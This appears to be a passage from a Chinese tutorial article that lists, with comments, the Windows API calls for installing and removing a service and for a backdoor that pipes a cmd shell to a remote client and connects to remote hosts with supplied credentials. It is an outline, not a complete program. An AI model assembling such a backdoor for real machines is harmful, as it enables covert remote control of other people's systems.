StartService(schService,0,NULL); //启动服务进程; ControlService(schService,SERVICE_CONTROL_STOP,RemoveServiceStatus); //控制服务状态; DeleteService(schService); //卸载服务程序; DeleteFile(lpImagePath); //删除文件;
3.后门程序相关函数
hMutex=CreateMutex(NULL,FALSE,NULL); //创建互斥量; hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); //创建处理客户端访问的重定向输入输出线程; CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); //创建用于进程间通信的输入/输出管道; CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo); //创建经重定向输入输出的Cmd进程; hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); //创建处理Cmd输入输出的线程; dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); //等待线程或进程的结束; ReleaseMutex(hMutex); //释放互斥量; PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL); //从管道中复制数据到缓冲区中,但不从管道中移出; ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); //从管道中复制数据到缓冲区中; WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL); //向管道中写入从客户端接收到的数据; dwErrorCode=WNetAddConnection2(NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); //与远程主机建立连接; WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); //与远程主机结束连接;
(出处:清风学院)
上一篇:为SERV-U打造最安全的FTP设置
下一篇:彩信FaFa:超酷彩信玩法新概念
|